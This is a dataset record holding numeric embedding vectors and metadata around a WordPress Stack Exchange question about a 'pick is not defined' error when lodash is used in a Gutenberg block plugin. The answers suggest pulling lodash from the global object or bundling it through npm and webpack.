0.0271759033203125, 0.0264129638671875, -0.0174407958984375, -0.01401519775390625, 0.020721435546875, 0.01080322265625, -0.026763916015625, 0.024993896484375, -0.005031585693359375, -0.019775390625, 0.0291900634765625, -0.0186767578125, 0.01727294921875, -0.023040771484375, 0.0645751953125, 0.0599365234375, -0.0200958251953125, 0.0185089111328125, 0.015472412109375, -0.04083251953125, 0.00537872314453125, 0.007843017578125, -0.01090240478515625, -0.0009732246398925781, -0.07281494140625, 0.0184783935546875, 0.0182647705078125, 0.0418701171875, 0.01355743408203125, -0.03753662109375, 0.0227813720703125, 0.039947509765625, -0.042724609375, -0.06329345703125, -0.007183074951171875, 0.0228118896484375, -0.0294189453125, 0.032196044921875, 0.01332855224609375, 0.00672149658203125, 0.0269927978515625, 0.0014104843139648438, 0.0211181640625, -0.025970458984375, -0.05059814453125, -0.03607177734375, -0.0394287109375, -0.017669677734375, 0.004543304443359375, 0.0029544830322265625, 0.01708984375, 0.0031147003173828125, 0.01442718505859375, -0.00963592529296875, 0.048828125, -0.022705078125, -0.021759033203125, 0.004547119140625, 0.01438140869140625, -0.037994384765625, 0.06842041015625, -0.0017366409301757812, 0.0163116455078125, 0.04022216796875, -0.012969970703125, -0.0302276611328125, 0.00421905517578125, -0.0157928466796875, 0.0015201568603515625, 0.05181884765625, 0.01255035400390625, -0.0250396728515625, 0.0169830322265625, -0.059295654296875, -0.055511474609375, -0.0047149658203125, -0.0404052734375, 0.0477294921875, -0.0145263671875, 0.01287841796875, -0.01412200927734375, 0.07171630859375, 0.01317596435546875, 0.01157379150390625, 0.045867919921875, -0.0166473388671875, 0.00693511962890625, 0.005954742431640625, 0.01018524169921875, -0.05078125, 0.05584716796875, -0.00278472900390625, -0.001590728759765625, 0.0196533203125, 0.00792694091796875, 0.02239990234375, -0.02227783203125, -0.0201263427734375, -0.08843994140625, 0.053436279296875, -0.052093505859375, -0.0078277587890625, -0.0260467529296875, -0.0294647216796875, 0.032257080078125, 0.1260986328125, -0.002758026123046875, -0.01287841796875, -0.01032257080078125, -0.01139068603515625, 0.0258331298828125, -0.0112762451171875, -0.0301361083984375, -0.01617431640625, -0.057769775390625, -0.0121307373046875, 0.0030517578125, -0.0283660888671875, -0.02117919921875, 0.035552978515625, -0.0443115234375, -0.0301666259765625, 0.04449462890625, -0.040740966796875, 0.005352020263671875, -0.0152130126953125, -0.007415771484375, -0.03997802734375, -0.0499267578125, -0.0084991455078125, -0.0245208740234375, -0.027008056640625, 0.0183258056640625, 0.0628662109375, 0.00788116455078125, -0.038909912109375, -0.01036834716796875, 0.041290283203125, 0.028289794921875, 0.0135345458984375, -0.0019044876098632812, -0.05517578125, 0.019317626953125, 0.05364990234375, 0.0100250244140625, 0.027374267578125, 0.004550933837890625, -0.006351470947265625, -0.05755615234375, 0.006534576416015625, -0.010589599609375, 0.0227813720703125, 0.03289794921875, -0.0430908203125, -0.0615234375, -0.031585693359375, -0.008392333984375, 0.0078582763671875, 0.0328369140625, -0.024505615234375, -0.0286712646484375, -0.0673828125, 0.030426025390625, 0.0109710693359375, -0.0204925537109375, 0.00260162353515625, 0.0100555419921875, 0.006381988525390625, -0.034027099609375, 0.00551605224609375, -0.00151824951171875, 0.0279693603515625, -0.0010919570922851562, 0.04241943359375, 0.003185272216796875, 0.005855560302734375, 0.0240631103515625, -0.0208587646484375, -0.022979736328125, -0.024688720703125, 0.034027099609375, 0.0210113525390625, 0.01232147216796875, -0.0101318359375, -0.0188446044921875, 0.06298828125, 0.0274658203125, 0.0031185150146484375, -0.02423095703125, 0.010345458984375, 0.03790283203125, 0.0014753341674804688, -0.0099945068359375, -0.0452880859375, -0.058197021484375, 0.0350341796875, -0.036468505859375, 0.03558349609375, -0.006130218505859375, -0.0010938644409179688, 0.035400390625, -0.02459716796875, 0.0100250244140625, -0.0416259765625, -0.019012451171875, -0.0180206298828125, 0.01007080078125, -0.0018672943115234375, 0.005878448486328125, -0.0218505859375, 0.003772735595703125, 0.048980712890625, -0.00843048095703125, -0.0218353271484375, -0.07537841796875, -0.007129669189453125, 0.017181396484375, 0.0121307373046875, 0.0277099609375, 0.04559326171875, 0.051483154296875, -0.0018520355224609375, -0.0260162353515625, -0.02020263671875, 0.049560546875, -0.046966552734375, 0.0386962890625, 0.032318115234375, -0.010833740234375, -0.0225372314453125, 0.0579833984375, 0.0152435302734375, 0.007602691650390625, -0.0032501220703125, -0.0157318115234375, 0.005184173583984375, 0.0279998779296875, 0.01338958740234375, -0.0226593017578125, -0.007167816162109375, 0.0142974853515625, 0.02923583984375, -0.03680419921875, -0.046051025390625, 0.0182037353515625, 0.0406494140625, -0.05889892578125, -0.01654052734375, 0.02276611328125, -0.006084442138671875, -0.007778167724609375, -0.00048661231994628906, -0.01416015625, -0.025543212890625, 0.0013895034790039062, -0.0008993148803710938, -0.0247802734375, -0.02740478515625, -0.0175628662109375, 0.007564544677734375, -0.03192138671875, 0.0076446533203125, 0.0389404296875, -0.030426025390625, 0.0020961761474609375, 0.00612640380859375, 0.0218048095703125, -0.01537322998046875, -0.037078857421875, -0.0023174285888671875, -0.00942230224609375, -0.01186370849609375, -0.0164642333984375, 0.023345947265625, 0.012847900390625, 0.04339599609375, -0.034759521484375, -0.03302001953125, 0.05133056640625, 0.005504608154296875, 0.03070068359375, -0.012908935546875, -0.031158447265625, 0.0009589195251464844, -0.03546142578125, -0.01018524169921875, 0.02447509765625, 0.00494384765625, -0.0245361328125, -0.0216522216796875, -0.0025119781494140625, 0.029296875, 0.01256561279296875, 0.0211029052734375, -0.01366424560546875, 0.0185394287109375, 0.00554656982421875, 0.032318115234375, -0.018646240234375, 0.0296783447265625, 0.0091552734375, -0.0128631591796875, 0.015838623046875, 0.046905517578125, 0.0517578125, -0.04791259765625, 0.02557373046875, -0.0100555419921875, -0.06396484375, -0.025909423828125, -0.0183258056640625, 0.04339599609375, 0.07440185546875, -0.01824951171875, -0.016326904296875, -0.0132904052734375, -0.0006103515625, -0.03289794921875, 0.04119873046875, -0.01065826416015625, 0.01031494140625, -0.021209716796875, 0.006877899169921875, 0.052215576171875, -0.01120758056640625, 0.0100555419921875, 0.0117645263671875, -0.0200958251953125, 0.0364990234375, -0.015960693359375, -0.03521728515625, 0.03021240234375, 0.06292724609375, 0.021881103515625, 0.0548095703125, -0.0033321380615234375, 0.01297760009765625, 0.0163726806640625, -0.008453369140625, -0.00812530517578125, -0.014129638671875, 0.034698486328125, 0.0070343017578125, -0.000637054443359375, 0.0321044921875, -0.006519317626953125, -0.0041351318359375, 0.0284881591796875, 0.0258026123046875, -0.0594482421875, 0.006114959716796875, 0.007518768310546875, 0.006481170654296875, -0.0141754150390625, 0.0208587646484375, -0.007045745849609375, -0.0121002197265625, -0.029205322265625, -0.00688934326171875, -0.0245361328125, -0.0274658203125, 0.01245880126953125, -0.006916046142578125, 0.0189208984375, 0.059661865234375, 0.007198333740234375, -0.0164337158203125, -0.025665283203125, 0.0023040771484375, -0.00849151611328125, -0.01419830322265625, 0.0020694732666015625, 0.0494384765625, -0.0205230712890625, -0.0268402099609375, 0.060699462890625, -0.040985107421875, 0.01132965087890625, 0.061981201171875, 0.005878448486328125, -0.01470947265625, 0.00914764404296875, -0.0146484375, 0.005115509033203125, -0.022613525390625, -0.058868408203125, 0.00513458251953125, -0.0294952392578125, -0.0088348388671875, 0.0224151611328125, -0.039947509765625, 0.0163726806640625, -0.0281524658203125, -0.0024051666259765625, -0.00601959228515625, -0.0338134765625, 0.089111328125, -0.044525146484375, -0.01505279541015625, 0.01239776611328125, 0.00632476806640625, 0.0038700103759765625, -0.00439453125, 0.01166534423828125, -0.058837890625, -0.041107177734375, 0.01432037353515625, -0.04620361328125, -0.00911712646484375, -0.0072021484375, -0.07086181640625, 0.128173828125, -0.00373077392578125, 0.06353759765625, 0.0224609375, 0.04437255859375, -0.029388427734375, 0.019378662109375, -0.00945281982421875, 0.064208984375, -0.0185699462890625, 0.043212890625, -0.036590576171875, -0.007659912109375, 0.0290985107421875, 0.0231475830078125, 0.062225341796875, 0.01136016845703125, -0.0179290771484375, 0.005367279052734375, 0.06610107421875, 0.0306243896484375, -0.0074615478515625, 0.0284881591796875, -0.0169830322265625, 0.031646728515625, 0.0251312255859375, -0.03204345703125, 0.028717041015625, 0.01788330078125, -0.047576904296875, 0.00801849365234375, 0.0101318359375, 0.01097869873046875, 0.004566192626953125, -0.034820556640625, -0.006069183349609375, -0.016937255859375, 0.0019588470458984375, -0.0158233642578125, -0.005863189697265625, 0.03509521484375, 0.032867431640625, -0.04718017578125, 0.00490570068359375, -0.038116455078125, 0.0628662109375, 0.002712249755859375, 0.0018854141235351562, 0.0259857177734375, 0.01201629638671875, -0.0013027191162109375, -0.030914306640625, -0.01030731201171875, 0.004894256591796875, -0.0164794921875, 0.045440673828125, 0.03936767578125, 0.018829345703125, -0.00695037841796875, 0.061431884765625, 0.032623291015625, 0.047943115234375, -0.059906005859375, -0.037109375, 0.016357421875, 0.00026607513427734375, 0.0043792724609375, -0.0103912353515625, 0.012054443359375, -0.04827880859375, -0.013702392578125, -0.044219970703125, 0.001804351806640625, -0.005374908447265625, 0.048858642578125, -0.026153564453125, -0.0196533203125, -0.0179901123046875, -0.022491455078125, -0.06939697265625, -0.013397216796875, 0.028594970703125, 0.103515625, 0.0595703125, 0.047149658203125, 0.0008835792541503906, -0.056640625, -0.0081787109375, 0.0170135498046875, 0.0012969970703125, 0.0026912689208984375, -0.03631591796875, -0.0281982421875, 0.0283050537109375, 0.034088134765625, 0.0435791015625, -0.006847381591796875, 0.0115509033203125, 0.00136566162109375, 0.01358795166015625, 0.0042572021484375, 0.0040740966796875, -0.01031494140625, 0.0194854736328125, -0.04962158203125, 0.03729248046875, -0.00902557373046875, 0.001033782958984375, -0.0279998779296875, 0.036346435546875, 0.00494384765625, 0.0059356689453125, -0.01053619384765625, 0.01270294189453125, -0.017822265625, 0.055419921875, 0.024932861328125, 0.0128021240234375, 0.047149658203125, -0.01020050048828125, 0.0189208984375, -0.02020263671875, -0.07806396484375, 0.00591278076171875, 0.040252685546875, 0.0029773712158203125, -0.027008056640625, 0.00565338134765625, -0.0094451904296875, -0.00949859619140625, -0.00202178955078125, 0.010894775390625, -0.004932403564453125, 0.002918243408203125, -0.003936767578125, -0.0596923828125, -0.0276641845703125, -0.0147552490234375, 0.01287078857421875, 0.0036334991455078125, 0.152099609375, -0.036376953125, 0.005374908447265625, -0.0224609375, 0.003086090087890625, 0.008026123046875, -0.00615692138671875, -0.005146026611328125, 0.035186767578125, 0.01020050048828125, -0.01508331298828125, -0.04278564453125, 0.00637054443359375, 0.044281005859375, -0.02960205078125, 0.00823211669921875, -0.005344390869140625, 0.01172637939453125, -0.018035888671875, 0.01690673828125, -0.044281005859375, -0.0291595458984375, -0.006534576416015625, -0.0008635520935058594, 0.0096893310546875, -0.016998291015625, -0.02459716796875, 0.019500732421875, -0.0089111328125, -0.0215606689453125, 0.021209716796875, -0.0166015625, 0.03509521484375, 0.037933349609375, -0.01374053955078125, -0.0278167724609375, 0.040740966796875, -0.0054779052734375, 0.0096435546875, 0.01531982421875, 0.037384033203125, 0.021575927734375, -0.01306915283203125, -0.04876708984375, -0.08905029296875, -0.042633056640625, -0.01342010498046875, -0.028594970703125, -0.07171630859375, 0.01140594482421875, -0.0177154541015625, -0.054107666015625, -0.0189971923828125, -0.01544952392578125, -0.01471710205078125, 0.04864501953125, -0.0279083251953125, -0.0110931396484375, -0.072265625, 0.005558013916015625, 0.03509521484375, -0.005641937255859375, -0.036163330078125, 0.05145263671875, -0.046600341796875, -0.012176513671875, -0.004001617431640625, 0.007640838623046875, -0.009368896484375, 0.029815673828125, -0.0010929107666015625, 0.01450347900390625, -0.0228729248046875, 0.0118255615234375, 0.00490570068359375, 0.0201873779296875, 0.037322998046875, -0.0229339599609375, -0.056976318359375, 0.023529052734375, 0.01300048828125, 0.0697021484375, -0.002071380615234375, -0.018280029296875, 0.014678955078125, 0.004062652587890625, -0.01280975341796875, -0.0477294921875, -0.01007080078125, -0.046142578125, 0.00768280029296875, 0.01055908203125, -0.0195465087890625, -0.01102447509765625, -0.030364990234375, -0.03759765625, 0.061553955078125, 0.0031299591064453125, -0.0192718505859375, -0.0587158203125, -0.005054473876953125, 0.006748199462890625, 0.035675048828125, -0.0238800048828125, -0.00777435302734375, -0.04925537109375, 0.0176239013671875, -0.006778717041015625, 0.070556640625, -0.02886962890625, 0.020538330078125, 0.01397705078125, 0.05096435546875, 0.050628662109375, 0.0006594657897949219, 0.0189056396484375, 0.00725555419921875, 0.005649566650390625, 0.0150146484375, -0.0548095703125, 0.007122039794921875, -0.0267486572265625, 0.0184783935546875, -0.015960693359375, -0.0743408203125, -0.0229339599609375, -0.0101165771484375, 0.080322265625, 0.048431396484375, 0.0226593017578125, -0.044647216796875, -0.0672607421875, -0.07159423828125, -0.0183258056640625, -0.056304931640625, 0.0311126708984375, -0.1063232421875, -0.0040740966796875, 0.024505615234375, 0.005908966064453125, 0.0146026611328125, -0.034423828125, -0.00959014892578125, -0.00432586669921875, 0.022735595703125, 0.004608154296875, 0.0002505779266357422, 0.0767822265625, -0.0009102821350097656, -0.01904296875, 0.025909423828125, -0.043365478515625, -0.01934814453125, 0.00445556640625, -0.07427978515625, -0.0208587646484375, -0.03839111328125, 0.01513671875, 0.055389404296875, -0.022003173828125, 0.027984619140625, -0.035552978515625, -0.0194091796875, -0.037506103515625, -0.0018224716186523438, 0.0018377304077148438, -0.0222015380859375, -0.0101318359375, -0.0082855224609375, 0.00400543212890625, 0.06427001953125, 0.00016236305236816406, 0.0172271728515625, -0.00539398193359375, 0.0292510986328125, 0.032928466796875, -0.017791748046875, 0.0767822265625, -0.052398681640625, -0.01123809814453125, 0.0021076202392578125, -0.05364990234375, -0.06884765625, 0.0008344650268554688, -0.0179901123046875, -0.0008053779602050781, 0.01158905029296875 ]
b5c8454cd64d1ec89b5f66083f54bc4e896de4bc
Wordpress Stackexchange Q: lodash dependency in a Gutenberg plugin I'm taking my first steps in Gutenberg block development and I'm already stuck. My block JS script makes use of a couple lodash functions (filter and pick). I'm registering my block using the following function: function register_block() { wp_register_script( 'block-script', plugins_url( 'block.build.js', __FILE__ ), array( 'wp-blocks', 'wp-components', 'wp-element', 'wp-utils', 'lodash' ) ); register_block_type( 'my/block', array( 'editor_script' => 'block-script', ) ); } As you can see I'm adding the lodash lib as a dependency, and checking the page source code it's effectively loaded before my plugin's script. However, I'm getting a ReferenceError: pick is not defined console error. This is the line that calls the pick function: onSelectImages( images ) { this.props.setAttributes( { images: images.map( ( image ) => pick( image, [ 'alt', 'caption', 'id', 'url' ] ) ), } ); } I don't know what I'm doing wrong. Any ideas? Thanks in advance A: In the block script I had to replace: import pick from 'lodash/pick'; with: const { pick } = lodash; And now it seems to work for me.
Q: lodash dependency in a Gutenberg plugin I'm taking my first steps in Gutenberg block development and I'm already stuck. My block JS script makes use of a couple lodash functions (filter and pick). I'm registering my block using the following function: function register_block() { wp_register_script( 'block-script', plugins_url( 'block.build.js', __FILE__ ), array( 'wp-blocks', 'wp-components', 'wp-element', 'wp-utils', 'lodash' ) ); register_block_type( 'my/block', array( 'editor_script' => 'block-script', ) ); } As you can see I'm adding the lodash lib as a dependency, and checking the page source code it's effectively loaded before my plugin's script. However, I'm getting a ReferenceError: pick is not defined console error. This is the line that calls the pick function: onSelectImages( images ) { this.props.setAttributes( { images: images.map( ( image ) => pick( image, [ 'alt', 'caption', 'id', 'url' ] ) ), } ); } I don't know what I'm doing wrong. Any ideas? Thanks in advance A: In the block script I had to replace: import pick from 'lodash/pick'; with: const { pick } = lodash; And now it seems to work for me. A: The problem is that lodash isn't a script dependency, it's an NPM dependency: array( 'wp-blocks', 'wp-components', 'wp-element', 'wp-utils', 'lodash' ) You can't enqueue it this way and expect your application to build. Lodash may be available in WP Admin, but webpack runs in a local Node CLI context, and it doesn't know what lodash is. So instead you need to use npm to acquire the library and include it in your final JS build via babel/webpack/etc. This way webpack/babel know about lodash and can do their job correctly.
wordpress
{ "language": "en", "length": 267, "provenance": "stackexchange_00019.jsonl.gz:485701", "question_score": "3", "source": "stackexchange", "timestamp": "2023-03-29", "url": "https://wordpress.stackexchange.com/questions/301840" }
[ -0.004886627197265625, 0.0183258056640625, -0.07452392578125, -0.0654296875, 0.03741455078125, -0.02752685546875, -0.03131103515625, 0.0171966552734375, 0.005290985107421875, 0.007488250732421875, -0.0221405029296875, 0.0023174285888671875, -0.038238525390625, -0.0168609619140625, -0.0158233642578125, -0.0262908935546875, 0.054107666015625, -0.039337158203125, 0.00272369384765625, -0.0027942657470703125, -0.021453857421875, 0.0200958251953125, 0.03265380859375, 0.08856201171875, 0.05706787109375, -0.07879638671875, 0.042388916015625, -0.004016876220703125, 0.0516357421875, 0.0032215118408203125, 0.04400634765625, -0.0190277099609375, 0.0310211181640625, -0.01050567626953125, 0.0100250244140625, 0.004528045654296875, 0.0611572265625, -0.0216522216796875, -0.0055694580078125, 0.0516357421875, 0.015655517578125, -0.007633209228515625, -0.06475830078125, -0.005039215087890625, -0.044586181640625, -0.0379638671875, 0.00677490234375, -0.02313232421875, 0.040252685546875, 0.01025390625, -0.039459228515625, -0.0020465850830078125, -0.029327392578125, -0.00450897216796875, -0.00933837890625, -0.01396942138671875, -0.0662841796875, 0.057830810546875, -0.01953125, 0.159423828125, 0.058929443359375, 0.07354736328125, -0.06976318359375, -0.08740234375, 0.057830810546875, -0.042755126953125, 0.0027828216552734375, 0.053497314453125, -0.0135345458984375, 0.06854248046875, 0.0282745361328125, -0.0258331298828125, -0.0265350341796875, -0.037384033203125, -0.0020542144775390625, 0.0186614990234375, -0.00647735595703125, -0.03399658203125, 0.004940032958984375, 0.01538848876953125, 0.01456451416015625, -0.06011962890625, 0.004177093505859375, 0.00689697265625, -0.0012826919555664062, 0.0283355712890625, -0.0007719993591308594, -0.007541656494140625, -0.0244903564453125, 0.00018405914306640625, -0.02227783203125, -0.00695037841796875, -0.052642822265625, 0.0271148681640625, 0.00989532470703125, -0.01358795166015625, 0.0042266845703125, -0.00864410400390625, -0.01474761962890625, 0.0225982666015625, -0.00943756103515625, -0.0288848876953125, 0.035186767578125, -0.0163726806640625, 0.0065460205078125, 0.054229736328125, -0.035736083984375, 0.011993408203125, 0.035369873046875, 0.0361328125, 0.0237274169921875, -0.0272979736328125, 0.02606201171875, 0.0112152099609375, -0.0282440185546875, -0.01137542724609375, -0.0296478271484375, 0.0125885009765625, -0.00591278076171875, 0.0130157470703125, 0.01522064208984375, 0.0171356201171875, 0.03131103515625, 0.0188140869140625, 0.0024433135986328125, 0.0209503173828125, -0.0228729248046875, -0.047119140625, -0.050628662109375, -0.036102294921875, 0.00800323486328125, 0.0802001953125, 0.0297088623046875, 0.004241943359375, -0.0247955322265625, 0.023284912109375, 0.043609619140625, 0.06475830078125, 0.016265869140625, -0.01446533203125, 0.0216827392578125, -0.028656005859375, -0.0209503173828125, 0.01326751708984375, 0.049957275390625, -0.0111083984375, 0.0203857421875, 0.0211639404296875, 0.02191162109375, -0.005035400390625, 0.0369873046875, -0.00902557373046875, 0.0469970703125, 0.0294342041015625, 0.004634857177734375, 0.002857208251953125, 0.07220458984375, -0.047637939453125, -0.027191162109375, -0.057891845703125, 0.0460205078125, -0.01195526123046875, -0.040008544921875, 0.0027408599853515625, -0.022308349609375, -0.01483917236328125, -0.0123748779296875, 0.0005803108215332031, 0.0222930908203125, 0.018524169921875, -0.0201568603515625, -0.01183319091796875, -0.0102691650390625, 0.002811431884765625, -0.003589630126953125, 0.0243988037109375, 0.03564453125, -0.004730224609375, 0.00899505615234375, 0.017578125, -0.0027637481689453125, -0.021240234375, 0.058837890625, -0.0266265869140625, -0.01354217529296875, 0.005611419677734375, 0.005649566650390625, 0.031158447265625, 0.00789642333984375, 0.01922607421875, 0.0079193115234375, -0.00215911865234375, -0.03680419921875, 0.018890380859375, -0.00628662109375, 0.00012218952178955078, 0.01043701171875, 0.0309295654296875, -0.004589080810546875, -0.0308685302734375, 0.046722412109375, -0.0294647216796875, 0.022491455078125, -0.0379638671875, -0.07257080078125, -0.0157623291015625, -0.03741455078125, 0.0208282470703125, -0.030059814453125, -0.00007033348083496094, 0.01953125, -0.06707763671875, -0.0247344970703125, 0.09173583984375, 0.00945281982421875, -0.0273284912109375, -0.01078033447265625, 0.059722900390625, 0.0088653564453125, 0.01265716552734375, 0.0171356201171875, -0.027069091796875, 0.01068878173828125, 0.005466461181640625, 0.07012939453125, 0.042266845703125, -0.007503509521484375, -0.006412506103515625, 0.039764404296875, 0.05841064453125, -0.07586669921875, -0.0006227493286132812, -0.041046142578125, 0.06597900390625, 0.01268768310546875, -0.0210113525390625, -0.00319671630859375, -0.005496978759765625, 0.0465087890625, -0.003986358642578125, 0.0218505859375, 0.00811004638671875, -0.014068603515625, -0.012603759765625, 0.0205078125, 0.016693115234375, 0.047882080078125, -0.0227508544921875, -0.01397705078125, 0.0150146484375, 0.0153961181640625, 0.0092620849609375, -0.003108978271484375, -0.005268096923828125, 0.0005521774291992188, 0.00885009765625, -0.00726318359375, 0.032135009765625, -0.006069183349609375, -0.032012939453125, -0.004619598388671875, -0.004695892333984375, -0.00823211669921875, 0.0005803108215332031, 0.036468505859375, -0.00992584228515625, 0.01904296875, 0.0281982421875, -0.01324462890625, 0.0017242431640625, 0.030548095703125, -0.0204315185546875, 0.006744384765625, 0.0233917236328125, 0.032867431640625, 0.041595458984375, -0.0239715576171875, -0.018524169921875, 0.0338134765625, 0.0338134765625, -0.01102447509765625, 0.0175018310546875, -0.013153076171875, -0.01849365234375, -0.009979248046875, -0.050811767578125, 0.00814056396484375, -0.0038967132568359375, -0.005344390869140625, 0.004863739013671875, 0.0582275390625, -0.03253173828125, 0.01374053955078125, -0.029632568359375, 0.0267486572265625, -0.02471923828125, 0.036041259765625, 0.0037059783935546875, -0.0005011558532714844, -0.03070068359375, 0.087158203125, 0.034515380859375, -0.050811767578125, 0.0279693603515625, -0.0028285980224609375, -0.007175445556640625, 0.03656005859375, -0.011383056640625, -0.0176239013671875, -0.04559326171875, -0.001194000244140625, 0.008453369140625, 0.0247955322265625, 0.035125732421875, 0.0188446044921875, -0.03204345703125, -0.0266265869140625, 0.015960693359375, -0.07177734375, -0.04718017578125, 0.03289794921875, -0.0775146484375, 0.0007696151733398438, -0.01020050048828125, -0.055572509765625, -0.016143798828125, 0.02532958984375, 0.0017538070678710938, -0.056671142578125, 0.0034198760986328125, -0.07208251953125, -0.057525634765625, -0.07293701171875, 0.04656982421875, -0.0222930908203125, 0.0372314453125, 0.01136016845703125, -0.00640106201171875, 0.01428985595703125, -0.0196380615234375, 0.0303192138671875, 0.00042510032653808594, -0.0109405517578125, -0.0060272216796875, 0.05291748046875, -0.0709228515625, -0.03326416015625, 0.0117340087890625, 0.0134124755859375, -0.00519561767578125, -0.0017194747924804688, 0.00708770751953125, 0.0052642822265625, -0.01824951171875, -0.0024967193603515625, 0.01149749755859375, -0.0164031982421875, -0.01457977294921875, 0.006122589111328125, -0.04730224609375, -0.00885772705078125, -0.00025916099548339844, -0.007476806640625, 0.05517578125, 0.0102081298828125, -0.01320648193359375, 0.00893402099609375, 0.0297698974609375, 0.019744873046875, 0.002315521240234375, 0.017791748046875, -0.0003561973571777344, 0.036895751953125, -0.03125, 0.00235748291015625, -0.049774169921875, 0.0138397216796875, -0.01367950439453125, -0.002758026123046875, -0.006221771240234375, 0.019744873046875, 0.01467132568359375, 0.008514404296875, -0.004947662353515625, -0.0158843994140625, 0.039947509765625, 0.0538330078125, 0.020782470703125, 0.023284912109375, -0.03125, 0.0259246826171875, 0.059661865234375, 0.00397491455078125, -0.00701141357421875, 0.01555633544921875, -0.00998687744140625, -0.0225677490234375, 0.027496337890625, -0.052032470703125, -0.0025615692138671875, -0.0276947021484375, -0.003803253173828125, -0.00701904296875, -0.04241943359375, -0.006679534912109375, -0.01605224609375, -0.01666259765625, -0.033599853515625, 0.01203155517578125, -0.021453857421875, 0.0013399124145507812, 0.014190673828125, -0.01151275634765625, -0.01325225830078125, -0.017669677734375, -0.029815673828125, -0.06427001953125, -0.0035114288330078125, -0.0257720947265625, 0.04205322265625, -0.0196533203125, 0.06585693359375, -0.05413818359375, 0.02392578125, 0.0220184326171875, -0.007030487060546875, 0.06268310546875, 0.002719879150390625, 0.048858642578125, -0.039459228515625, 0.041046142578125, -0.067626953125, 0.0246429443359375, 0.028350830078125, -0.0380859375, 0.052337646484375, -0.0207366943359375, -0.0018587112426757812, 0.0182037353515625, -0.05224609375, -0.0784912109375, -0.00359344482421875, 0.0126495361328125, 0.0181732177734375, -0.0174102783203125, 0.0029468536376953125, -0.0170440673828125, -0.0596923828125, 0.01708984375, 0.00027751922607421875, 0.00722503662109375, -0.01325225830078125, 0.05126953125, 0.0178985595703125, -0.01412200927734375, 0.048248291015625, 0.0236053466796875, 0.00835418701171875, -0.0230560302734375, 0.0970458984375, 0.044464111328125, 0.029083251953125, 0.043548583984375, -0.0222930908203125, 0.052581787109375, -0.0430908203125, -0.0008068084716796875, 0.01293182373046875, 0.01300048828125, 0.0075225830078125, 0.0594482421875, -0.0024261474609375, 0.0015478134155273438, -0.0309600830078125, 0.045013427734375, -0.0087738037109375, -0.01959228515625, -0.0261993408203125, 0.018829345703125, 0.01488494873046875, -0.028228759765625, 0.0135040283203125, -0.061737060546875, 0.044830322265625, 0.045135498046875, -0.035369873046875, 0.0283660888671875, 0.0219268798828125, 0.006256103515625, 0.002410888671875, -0.009552001953125, -0.02264404296875, 0.040679931640625, -0.007305145263671875, 0.0084991455078125, -0.0024929046630859375, 0.0137176513671875, -0.00489044189453125, -0.0128631591796875, -0.042388916015625, -0.041351318359375, 0.01412200927734375, 0.040924072265625, 0.002277374267578125, 0.01494598388671875, 0.0308685302734375, -0.0096893310546875, -0.030731201171875, 0.0023059844970703125, 0.010772705078125, -0.043243408203125, -0.0445556640625, -0.00734710693359375, -0.00560760498046875, -0.01546478271484375, -0.029510498046875, 0.014007568359375, 0.002094268798828125, -0.02972412109375, 0.00441741943359375, 0.0003914833068847656, -0.020782470703125, 0.0357666015625, 0.02886962890625, -0.03143310546875, 0.007595062255859375, -0.0005955696105957031, 0.00818634033203125, -0.0247344970703125, -0.013214111328125, 0.0271148681640625, 0.0126495361328125, -0.022430419921875, -0.01389312744140625, 0.02362060546875, 0.005596160888671875, -0.0103912353515625, 0.01189422607421875, -0.029541015625, -0.007904052734375, -0.01348876953125, 0.0230865478515625, 0.062469482421875, 0.025634765625, 0.0166015625, -0.06060791015625, 0.00800323486328125, -0.01385498046875, -0.0175018310546875, -0.05078125, 0.0187225341796875, 0.0270843505859375, -0.020599365234375, -0.00588226318359375, -0.0176239013671875, -0.040283203125, -0.0308837890625, -0.0184173583984375, -0.01169586181640625, 0.06646728515625, 0.0010852813720703125, 0.0233001708984375, -0.016876220703125, -0.0037364959716796875, -0.03839111328125, 0.007701873779296875, 0.01406097412109375, -0.0115203857421875, 0.00023686885833740234, -0.034637451171875, -0.061431884765625, -0.025054931640625, 0.031280517578125, -0.006587982177734375, -0.00612640380859375, 0.0036334991455078125, 0.000012516975402832031, 0.0117034912109375, -0.0083160400390625, 0.0239715576171875, 0.06634521484375, 0.01462554931640625, -0.04559326171875, 0.0272979736328125, -0.01345062255859375, 0.0290069580078125, 0.010650634765625, 0.02783203125, -0.022125244140625, -0.0313720703125, -0.043701171875, -0.00018143653869628906, -0.052978515625, -0.057159423828125, 0.00949859619140625, 0.04998779296875, -0.01174163818359375, 0.038421630859375, 0.025634765625, 0.02423095703125, 0.025299072265625, 0.017578125, 0.016510009765625, -0.025421142578125, -0.0289154052734375, 0.0034465789794921875, 0.0042877197265625, 0.0016880035400390625, -0.019073486328125, 0.01200103759765625, -0.0233612060546875, -0.0014677047729492188, 0.0274658203125, -0.00748443603515625, 0.0173797607421875, -0.00009262561798095703, 0.0140228271484375, -0.0229949951171875, -0.003459930419921875, 0.008087158203125, 0.01410675048828125, -0.00034880638122558594, 0.0224151611328125, 0.0155487060546875, 0.045867919921875, -0.02032470703125, -0.036895751953125, 0.01520538330078125, 0.0018911361694335938, -0.0161895751953125, 0.003421783447265625, -0.00814056396484375, -0.0019969940185546875, -0.00916290283203125, 0.0251617431640625, -0.011077880859375, -0.0011796951293945312, -0.00473785400390625, -0.05645751953125, -0.0243682861328125, 0.00615692138671875, -0.015045166015625, -0.006870269775390625, -0.0276031494140625, 0.0068359375, -0.040069580078125, -0.01016998291015625, 0.03350830078125, -0.0061492919921875, -0.006427764892578125, -0.02001953125, -0.005382537841796875, -0.04571533203125, 0.00858306884765625, 0.0193634033203125, 0.0016107559204101562, 0.022796630859375, 0.0732421875, -0.0273590087890625, 0.009246826171875, 0.01169586181640625, 0.035125732421875, 0.0178070068359375, -0.06268310546875, 0.035491943359375, 0.0355224609375, 0.036468505859375, 0.0296783447265625, 0.030792236328125, -0.052337646484375, -0.00873565673828125, 0.00876617431640625, 0.0382080078125, -0.0218963623046875, 0.0130767822265625, -0.001430511474609375, -0.0838623046875, 0.00975799560546875, -0.039337158203125, 0.0213165283203125, -0.00925445556640625, 0.0085601806640625, 0.01401519775390625, 0.01499176025390625, -0.04034423828125, 0.0325927734375, 0.028656005859375, -0.00995635986328125, -0.0019044876098632812, 0.05596923828125, -0.0421142578125, -0.01654052734375, 0.0240478515625, -0.0037517547607421875, -0.033477783203125, 0.014129638671875, -0.045654296875, 0.08935546875, 0.0321044921875, 0.01213836669921875, 0.0379638671875, 0.033935546875, -0.0693359375, -0.01544189453125, -0.017425537109375, 0.046478271484375, -0.036407470703125, -0.005779266357421875, -0.0323486328125, 0.035797119140625, -0.0260467529296875, -0.01406097412109375, 0.01459503173828125, -0.004795074462890625, -0.0142059326171875, 